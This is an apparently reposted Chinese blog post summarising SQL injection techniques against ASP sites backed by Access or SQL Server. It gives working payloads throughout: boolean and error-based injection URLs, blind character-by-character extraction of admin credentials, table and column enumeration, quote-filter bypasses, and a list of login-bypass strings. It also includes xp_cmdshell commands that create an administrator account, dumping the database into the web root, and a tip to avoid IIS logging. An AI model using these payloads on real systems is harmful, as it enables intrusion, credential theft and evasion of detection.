SQL注入经验总结
通過(guò)連接數(shù)據(jù)庫(kù)的引擎判斷數(shù)據(jù)庫(kù)類型:
Access:Microsoft JET Database Engine
SQLServer:Microsoft OLE DB Provider for SQL Server
?
一點(diǎn)思路:
每個(gè)動(dòng)態(tài)頁(yè)面每個(gè)參數(shù)都測(cè)一測(cè)
相同動(dòng)態(tài)頁(yè)面相同參數(shù)不同值時(shí)可能不同(不知道什么情況,但確實(shí)發(fā)生了,有待驗(yàn)證。。)
后臺(tái)登陸時(shí)截?cái)嗖榭幢韱?#xff0c;試試能否繞過(guò)
GET、POST沒(méi)頭緒時(shí)試試cookie,測(cè)試每個(gè)cookie的參數(shù)。用sqlmap cookie注入時(shí),試試不帶相對(duì)URI(裸域名)
注意截包,分析包里的注入語(yǔ)句的變化
可能存在編碼問(wèn)題,如果頁(yè)面編碼為GBK,可以試試補(bǔ)全,加個(gè)%ce
判斷注入點(diǎn)時(shí)單撇不行試試雙撇
?
如果程序中加了cint(參數(shù))之類語(yǔ)句的話,SQL注入是不會(huì)成功的,但服務(wù)器同樣會(huì)報(bào)錯(cuò)。
有些程序員只過(guò)濾了單引號(hào),所以只用單引號(hào)測(cè)試,是測(cè)不到注入點(diǎn)的,可以用下列語(yǔ)句測(cè)試:
http://www.mytest.com/showdetail.asp?id=49 ;and 1=1
http://www.mytest.com/showdetail.asp?id=49 ;and 1=2
?
ASP一般搭配Access和SQLSever。
SQLServer有一些系統(tǒng)變量,如果服務(wù)器IIS提示沒(méi)關(guān)閉,并且SQLServer返回錯(cuò)誤提示的話,那可以直接從出錯(cuò)信息獲取,方法如下:
http://www.mytest.com/showdetail.asp?id=49 ;and user>0
user是SQLServer的一個(gè)內(nèi)置變量,它的值時(shí)當(dāng)前連接的用戶名,類型為nvarchar。拿一個(gè)nvarchar的值跟int的數(shù)0比較,系統(tǒng)會(huì)先試圖將nvarchar的值轉(zhuǎn)成int型,當(dāng)然,轉(zhuǎn)的過(guò)程中肯定會(huì)出錯(cuò)。
如果是普通用戶,SQLServer的出錯(cuò)提示是:將nvarchar值“bt”轉(zhuǎn)換數(shù)據(jù)類型為int的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤;如果是sa用戶,提示是:將“dbo”轉(zhuǎn)換成int的列發(fā)生錯(cuò)誤。
?
在服務(wù)器IIS不允許返回錯(cuò)誤提示時(shí)判斷數(shù)據(jù)庫(kù)類型:
Access和SQLServer都有自己的系統(tǒng)表,比如存放數(shù)據(jù)庫(kù)中所有對(duì)象的表,Access是在系統(tǒng)表[msysobjects]中,但在Web環(huán)境下讀該表會(huì)提示”“沒(méi)有權(quán)限“,SQLServer是在表[sysobjects]中,在Web環(huán)境下可正常讀取。
在確認(rèn)可以注入的情況下,使用下面的語(yǔ)句:
http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0
http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0
如果數(shù)據(jù)庫(kù)是SQLServer,那么第一個(gè)網(wǎng)址的頁(yè)面與原頁(yè)面http://www.mytest.com/showdetail.asp?id=49是大致相同的;而第二個(gè)網(wǎng)址,由于找不到表msysobjects,會(huì)提示出錯(cuò),就算程序有容錯(cuò)處理,頁(yè)面也與原頁(yè)面完全不同。
如果數(shù)據(jù)庫(kù)是Access,那么情況就有所不同,第一個(gè)網(wǎng)址的頁(yè)面與原頁(yè)面完全不同,第二個(gè)網(wǎng)址則視乎數(shù)據(jù)庫(kù)設(shè)置是否允許讀改系統(tǒng)表,一般來(lái)說(shuō)是不允許的,所以與原網(wǎng)址也是完全不同。
大多數(shù)情況下,用第一個(gè)URL就可以得知系統(tǒng)所用的數(shù)據(jù)庫(kù)類型(第一個(gè)返回跟原頁(yè)差不多則是SQLServer,反之則Access),第二個(gè)URL只作為開(kāi)啟IIS錯(cuò)誤提示時(shí)的驗(yàn)證。
?
根據(jù)注入?yún)?shù)類型,重構(gòu)SQL語(yǔ)句的原貌,按參數(shù)類型主要分為下面三種:
ID=49,這類注入的參數(shù)是數(shù)字型,SQL語(yǔ)句原貌大致如下:
select * from 表名 where 字段=49
注入的參數(shù)為ID=49 and [查詢條件],即生成語(yǔ)句:
select * from 表名 where 字段=49 and [查詢語(yǔ)句]
class=連續(xù)劇,這類注入的參數(shù)是字符型:
select * from 表名 where 字段='連續(xù)劇'
注入的參數(shù)為Class=連續(xù)劇’ and [查詢條件] and ‘‘=’,即生成語(yǔ)句:
select * from 表名where 字段=’連續(xù)劇’ and [查詢條件] and ‘‘=’’
搜索時(shí)沒(méi)顧慮參數(shù)的,如keyword=關(guān)鍵字:
select * from 表名 where 字段 like '%關(guān)鍵字%'
注入的參數(shù)為keyword=' and [查詢條件] and '%25'=',即生成語(yǔ)句:
select * from 表名 where 字段 like '%' and [查詢條件] and '%'='%'
?
手工猜表名、字段名、字段值:
接著將查詢條件替換成SQL語(yǔ)句,猜解表名,如:
ID=49 and (select Count(*) from Admin)>=0
如果頁(yè)面就與ID=49的相同,說(shuō)明條件成立,即表Admin存在,反之不存在。
猜出表名再猜解字段名,如:
ID=49 and (select Count(字段名) from Admin)>=0 或 and (select count(*) from admin where len(字段名)>0)>0
猜出字段名再猜解字段值,一種最常用的方法—Ascii逐字解碼法,雖然很慢,但是肯定可行:
假設(shè):已知Admin中存在username字段
首先,取第一條記錄,測(cè)試username的長(zhǎng)度:
ID=49 ;and (select top 1 len(username) from Admin)>0 或 and (select count(*) from admin where len(username)>0)>0
如果長(zhǎng)度大于0,則條件成立。更換最后的數(shù)直到猜出第一條記錄的username字段值的長(zhǎng)度
得到字段值的長(zhǎng)度后,逐位猜解字段值:
ID=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
第一位字符的ASCII碼是否大于0,范圍在1-128之間。
?
SQL注入常用函數(shù):
Access:asc(字符)??? SQLServer:unicode(字符)??? 作用:返回某字符的ASCII碼
Access:chr(數(shù)字)??? SQLServer:nchar(數(shù)字)??? 作用:與asc相反,根據(jù)ASCII碼返回字符
Access:mid(字符串,N,L)??? SQLServer:substring(字符串,N,L)??? 作用:返回字符串從N個(gè)字符起長(zhǎng)度為L(zhǎng)的自字符串,即N到N+L之間的字符串
Access:abc(數(shù)字)??? SQLServer:abc(數(shù)字)??? 作用:返回?cái)?shù)字的絕對(duì)值(在猜解漢字的時(shí)候會(huì)用到)
Access:A between B and C??? SQLServer:A between B and C??? 作用:判斷A是否界于B與C之間
?
中文處理方法:
Access:中文的ASCII碼可能會(huì)出現(xiàn)負(fù)數(shù),取出該負(fù)數(shù)后用abs()取絕對(duì)值,漢字字符不變。
SQLServer:中文的ASCII為正數(shù),但由于是UNICODE的雙位編碼,不能用函數(shù)ascii()取得ASCII碼,必須用函數(shù)unicode()返回unicode值,再用nchar函數(shù)取得對(duì)應(yīng)的中文字符。
?
利用系統(tǒng)表注入SQLServer數(shù)據(jù)庫(kù):
http://Site/url.asp?id=1;exec master..xp_cmdshell "net user name passwd /add"--
http://Site/url.asp?id=1;exec master..xp_cmdshell "net localgroup administrators name /add"--
這種方法只適用于用sa連接數(shù)據(jù)庫(kù)的情況,否則,是沒(méi)有權(quán)限調(diào)用xp_cmdshell的。
http://Site/url.asp?id=1; and db_name()>0??? 返回連接的數(shù)據(jù)庫(kù)名
http://Site/url.asp?id=1; backup database 數(shù)據(jù)庫(kù)名 to disk='c:inetpubwwwroot1.db';--
拿到數(shù)據(jù)庫(kù)名,加上某些IIS出錯(cuò)暴露出的絕對(duì)路徑,將數(shù)據(jù)庫(kù)備份到Web目錄下面,再用HTTP把整個(gè)數(shù)據(jù)庫(kù)就完完整整的下載回來(lái)。在不知道絕對(duì)路徑的時(shí)候,還可以備份到網(wǎng)絡(luò)地址的方法(如202.96.xx.xx/share/1.db),但成功率不高。
http://Site/url.asp?id=1; and (select top 1 name from sysobjects where xtype='U' and status>0)>0
sysobjects是SQLServer的系統(tǒng)表,存儲(chǔ)著所有的表名、視圖、約束及其它對(duì)象,xtype='U' and status>0,表示用戶建立的表名,上面的語(yǔ)句將第一個(gè)表名取出,與0比較大小,讓報(bào)錯(cuò)信息把表名暴露出來(lái),第二、三...個(gè)表名也可以通過(guò)這種方法暴出來(lái)。
http://Site/url.asp?id=1; and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0
拿到表名后,用object_id('表名')獲取表名對(duì)應(yīng)的內(nèi)部ID,col_name(表名ID,1)代表該表的第1個(gè)字段名,將1換成2,3,4...就可以逐個(gè)獲取所猜解表里面的字段名。
?
繞過(guò)程序限制繼續(xù)注入:
利用相關(guān)函數(shù),達(dá)到繞過(guò)程序限制的目的。
過(guò)濾'(單引號(hào)):
如where xtype='U',字符U對(duì)應(yīng)的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name='用戶',可以用where name=nchar(29992)+nchar(25143)代替。
?
經(jīng)驗(yàn)小結(jié):
1.過(guò)濾沒(méi)區(qū)分大小寫(xiě):用混大小寫(xiě)測(cè)試,如 seLecT
2.由網(wǎng)站上的登錄表單猜測(cè)字段名,一般為了方便起見(jiàn),字段名都與表單的輸入框取相同的名字。
3.地址欄的+號(hào)傳入程序后解釋為空格,%2B解釋為+號(hào),%25解釋為%號(hào)
4.用Get方法注入時(shí),IIS會(huì)記錄所有提交的字符串,對(duì)Post方法做則不記錄,所以能用Post的網(wǎng)址盡量不用Get。
5.猜解Access時(shí)只能用ASCII逐字解碼法,SQLServer也可以用這種方法,只需要注意兩者之間的區(qū)別即可,但是如果能用SQLServer的報(bào)錯(cuò)信息把值暴露出來(lái),那效率和準(zhǔn)確率會(huì)有極大的提高。
?
萬(wàn)能密碼-繞過(guò)驗(yàn)證:
1: "or "a"="a
2: ')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6: "or 1=1--
7:'or'a'='a
8: "or"="a'='a
9:'or''='
10:'or'='or'
11: 1 or '1'='1'=1
12: 1 or '1'='1' or 1=1
13: 'OR 1=1%00
14: "or 1=1%00
轉(zhuǎn)載于:https://www.cnblogs.com/btlulu/p/3971692.html
總結(jié)
- 上一篇: Android开发学习笔记--一个有界面
- 下一篇: sql 基础--mysql 5